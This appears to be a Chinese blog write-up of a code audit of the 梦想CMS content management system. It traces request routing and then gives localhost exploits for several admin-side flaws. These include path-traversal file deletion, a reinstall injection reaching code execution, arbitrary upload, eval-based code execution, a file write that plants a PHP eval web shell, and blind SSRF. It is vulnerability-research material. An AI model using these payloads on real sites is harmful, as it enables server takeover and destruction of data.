WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

梦想CMS代码审计

0x01 入口文件

RUN_TYPE用来获取模板路径

config.inc.php是配置文件

run.inc.php是正式开始的地方

这cms注释特别清晰,可以看到if选择使用什么模板

然后将模板路径存放到config数组

包含一些文件

spl_autoload_register函数作用是new一个类如果没有找到就会触发指定的函数

这里就是requireClassName函数

new找不到类就会触发requireClassName函数

接下来会去找这个类文件,找到了就包含,没找到就触发_404

上面这段是伪静态,可以先不用看

下面就是入口

如果一个三元表达式,如果没有拓展$extendEnt=Action

获取m参数,首字母大写

拼接$m.$extendEnt,class_exists查看是否存在这个类,如果没有这个类m默认为index

下面实例化这个类,调用类内run方法

前台文件有这么些

查看IndexAction文件

类中没有run方法,构造函数调用父类构造函数,查看父类

这个类再次调用父类构造函数

这个类里有run函数,获取a参数的值

method_exists查找类内是否存在a中函数,如没有则调用index函数

http://127.0.0.1/index.php?m=类前缀&a=类内方法

url基本就是这样的

0x02 后台任意文件删除(一)

漏洞位置:BackdbAction.class.php

首先看到这个delOne函数,里面的UnLink也是重写过的,可以过去看一下

功能没区别

找到两个调用的地方过去看看

是一个没有任何检测的文件删除直接用路径穿越就可以删除指定文件

因为路径在$dir = ROOT_PATH.’file/back/‘.$filename;所以要往上走两次

exp:

http://127.0.0.1/admin.php?m=Backdb&a=delbackdb&filename=../../install/install_ok.txt

0x03 后台任意文件删除(二)

漏洞位置:BackdbAction.class.php

和上面的漏洞一样,只是要POST一个数组

exp:

1
2
3
4
5
6
7
8
9
10
11
POST /admin.php?m=Backdb&a=delmorebackdb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48


filename%5B%5D=..%2F..%2Finstal%2Finstall_ok.txt

0x04 重装GetShell漏洞

使用任意文件删除漏洞删除install_ok.txt可以重装CMS

但是这方法有不好的地方,这个CMS会先测试连接再写入配置文件

所以只能在表前缀动手脚,不然连接不成功不会写入

但是表前缀改了这个CMS就会有点崩掉,因为哪里都包含这个文件

就复现一下吧

将表前缀改为lmx_’);phpinfo();//_

查看配置文件

因为单引号没有转义所以照成漏洞

0x05 后台任意文件上传

基本设置->文件设置

在后台允许上传图片类型加上php就可以上传了

0x06 后台代码执行

漏洞位置:AcquisiAction.class.php

可以看到最后有个eval函数,会将数据库中的内容读出来放入$data内

在构造函数内获取参数

showCjData中lid和id只要存在就行,cid对应lmx_cj_data内的id字段

在表内加入这条数据

eval(‘$data=1;phpinfo();//‘)

访问http://127.0.0.1/admin.php?m=Acquisi&a=showCjData&cid=1&lid=3&id=1

0x07 后台任意文件写入

漏洞位置TemplateAction.class.php

file::put($this->config[‘template’].$dir.’/‘.$_POST[‘filename’],string::stripslashes($_POST[‘temcontent’]));

这条代码文件名和内容都可控,造成任意文件写入

这里的put是重写过的,就是file_put_content函数

exp:

1
2
3
4
5
6
7
8
9
10
11
POST /admin.php?m=Template&a=editfile&dir=m HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89


filename=shell.php&temcontent=%3C%3Fphp+eval%28%24_POST%5B%27pass%27%5D%29&settemcontent=

会在template\m\生成shell.php

0x08 后台无回显ssrf漏洞

漏洞位置:AcquisiAction.class.php

这个函数内的getContentUrl函数

此函数内没有任何过滤,走到getContent函数

此函数内是很明显的ssrf漏洞

但是在这里正则匹配/Ui这个/U不清楚是什么作用,网上好像也没找到。因为这个U通配符就匹配不到文件了,只能是无回显ssrf

端口开放会报错

端口未开放会提示连接失败

exp:
http://127.0.0.1/admin.php?m=Acquisi&a=testListContentUrl&listurl=http://127.0.0.1:8000&content_url_box=*&content_url_regular=*